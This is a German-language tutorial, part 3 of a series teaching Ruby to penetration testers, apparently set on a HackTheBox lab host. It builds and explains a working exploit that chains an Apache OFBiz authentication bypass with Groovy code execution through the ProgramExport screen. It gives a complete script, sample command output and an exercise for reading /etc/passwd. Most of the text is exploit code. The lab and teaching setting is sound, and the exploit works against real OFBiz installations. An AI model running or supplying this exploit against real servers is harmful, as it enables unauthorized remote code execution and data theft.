// Ruby für Pentester · Teil 3

Erste Codeausführung

Wir richten den Auth-Bypass auf OFBiz' ProgramExport-Screen, POSTen einen Groovy-Payload und führen unser erstes Kommando auf der Box aus. Nebenbei lernst du POST-Anfragen, Hashes und wie man Daten aus einer Response herauszieht.

RubyRCEPOSTHashes
5 Min. Lesezeit

Teil 2 hat uns mit einer wiederverwendbaren get-Methode am Login vorbei- gebracht. In OFBiz „authentifiziert” zu sein, ist nur deshalb nützlich, wohin es uns lässt — konkret der ProgramExport-Screen, ein Entwickler-Werkzeug, das Groovy (eine JVM-Skriptsprache) ausführt, das du ihm übergibst. Beliebiges Groovy ist beliebige Codeausführung. Dieser Teil schickt unser erstes Kommando und liest die Antwort zurück.

Eine Methode für POST

get steckte Daten in die URL. Code auszuführen heißt, einen Body zu senden, also ein POST. Dieselbe Form wie zuvor, eine Methode mehr:

def post(path, form)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  req = Net::HTTP::Post.new(uri.request_uri)
  req.set_form_data(form)
  http.request(req)
end

Das Neue ist form und set_form_data. form ist ein Hash — Rubys Schlüssel/Wert-Struktur — und set_form_data URL-kodiert ihn für uns in einen sauberen application/x-www-form-urlencoded-Body. Wir rufen es wie post('/x', 'groovyProgram' => payload) auf.

Hashes, kurz

Ein Hash bildet Schlüssel auf Werte ab:

job = { 'name' => 'ofbiz', 'shell' => '/bin/bash' }
puts job['name']     # => ofbiz
job['pid'] = 4242    # add a key

Du wirst Hashes ständig nutzen — für Formularfelder, JSON, HTTP-Header, alles, was „ein Satz benannter Dinge” ist. Hier brauchen wir nur ein Feld, groovyProgram.

Der Payload

ProgramExport liest ein groovyProgram-Feld und führt es aus. Der zuverlässige Weg, aus Groovy ein Shell-Kommando zu starten, ist dessen Listenform von execute(), die jedes Listenelement als literales Argument übergibt, sodass Quoting überlebt:

def run(cmd)
  groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

Zwei Dinge sind wichtig zu verstehen:

  • Der String ist doppelt gequotet, weil er #{cmd} interpoliert — die eine Stelle, an der wir es brauchen. Die einfachen Anführungszeichen innen sind Groovys, nicht Rubys.
  • throw new Exception(...) ist ein Trick: .text fängt den stdout des Kommandos ein, und ihn als Exception zu werfen bringt OFBiz dazu, diese Ausgabe direkt in die Response zu rendern. Also gibt run den ganzen Response-Body zurück, mit der Ausgabe unseres Kommandos darin.

Eine Einschränkung, die früh erwähnt sein will: Weil #{cmd} in einem einfach gequoteten Groovy-String landet ('#{cmd}'), schließt ein Kommando, das selbst ein einfaches Anführungszeichen enthält — etwa awk '{print $1}' — diesen String vorzeitig, und der Payload bricht. Für die einfachen Kommandos hier ist das in Ordnung, und Teil 4 umgeht das Problem ganz, indem er in eine echte Shell wechselt, wo das Quoting Sache der entfernten Shell ist statt unserer.

Ausführung bestätigen

Führ id aus und pick seine erkennbare Zeile mit einer Regex aus der Response:

body = run('id')
puts body[/uid=\d+\([^)]+\).*/]

String#[] mit einer Regex gibt den ersten Treffer zurück (oder nil). Lauf es:

$ ruby rce.rb
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

Das ist Codeausführung als Service-Benutzer ofbiz. Der Ablauf, den du gerade gelernt hast — ein Kommando abfeuern, dann die Antwort mit Regex aus der Seite ziehen — ist, wie man eine RCE mit reflektierter Ausgabe bedient, bevor man eine echte Shell hat. Genau die holt uns Teil 4.

Größere Payloads: Heredocs

Ein einzeiliges throw reicht für ein einzelnes Kommando, aber echte Payloads wachsen. Wenn ein String über mehrere Zeilen geht, ist ihn mit \n und + zusammenzukleben eine Qual. Rubys Antwort ist das Heredoc — ein Block-String, der bis zu einem Markierungswort läuft:

def run_script(groovy)
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

payload = <<~GROOVY
  def out = new StringBuilder()
  ['id', 'hostname', 'whoami'].each { cmd ->
    out << cmd << ' -> ' << cmd.execute().text
  }
  throw new Exception(out.toString())
GROOVY

puts run_script(payload)
  • <<~GROOVY öffnet ein Heredoc; alles bis zur Zeile, die nur GROOVY ist, wird zum String. Das Markierungswort ist beliebig — GROOVY dokumentiert die Absicht.
  • Die ~ (ein „geschlängeltes” Heredoc) entfernt die führende Einrückung, sodass du den Block passend zu deinem Code einrücken kannst und der Payload trotzdem linksbündig beim Ziel ankommt.
  • Ein Heredoc interpoliert #{...} wie ein doppelt gequoteter String. Enthält ein Payload literale #{}, die du unangetastet willst, quote das Markierungswort — <<~'GROOVY' —, um die Interpolation abzuschalten.

Dasselbe post unter der Haube; das Heredoc macht nur einen mehrzeiligen Payload lesbar.

Das Skript bisher

#!/usr/bin/env ruby
require 'net/http'
require 'uri'

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

def post(path, form)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  req = Net::HTTP::Post.new(uri.request_uri)
  req.set_form_data(form)
  http.request(req)
end

def run(cmd)
  groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

puts run('id')[/uid=\d+\([^)]+\).*/]

Erkenntnisse

  • Ein Hash ({ 'k' => 'v' }) ist Rubys benannte Wert-Struktur; set_form_data macht daraus einen POST-Body.
  • Net::HTTP::Post.new + set_form_data + http.request schickt ein POST — das gleiche Client-Muster wie get, mit einem Body.
  • Nutze doppelte Anführungszeichen nur, wenn du interpolierst ("#{cmd}"); die inneren Anführungszeichen des Payloads waren Groovys einfache.
  • String#[](regex) zieht den ersten Treffer aus Text — perfekt, um Kommandoausgabe aus einer reflektierten RCE-Response zu isolieren.
  • Ein Heredoc (<<~NAME ... NAME) ist Rubys mehrzeiliger String; ~ entfernt die Einrückung und <<~'NAME' schaltet die #{}-Interpolation ab.

Übungen

  1. Lauf uname -a durch run und zieh mit einer Regex (String#[]) nur die Kernel-Version aus der Ausgabe.
  2. Schreib run_many(cmds), das ein Array von Kommandos nimmt und einen Hash { cmd => output } zurückgibt. (each_with_object({}) ist ein sauberer Weg.)
  3. Nutz ein Heredoc, um einen Groovy-Payload zu bauen, der /etc/passwd liest, schick ihn und zieh die ofbiz-Zeile mit einer Regex heraus.

Weiter — Teil 4: Reflektierte Ausgabe ist umständlich. Wir steigen auf eine echte interaktive Shell um, indem wir unseren eigenen TCP-Listener in Ruby schreiben — und lernen Threads kennen.

← Alle Teile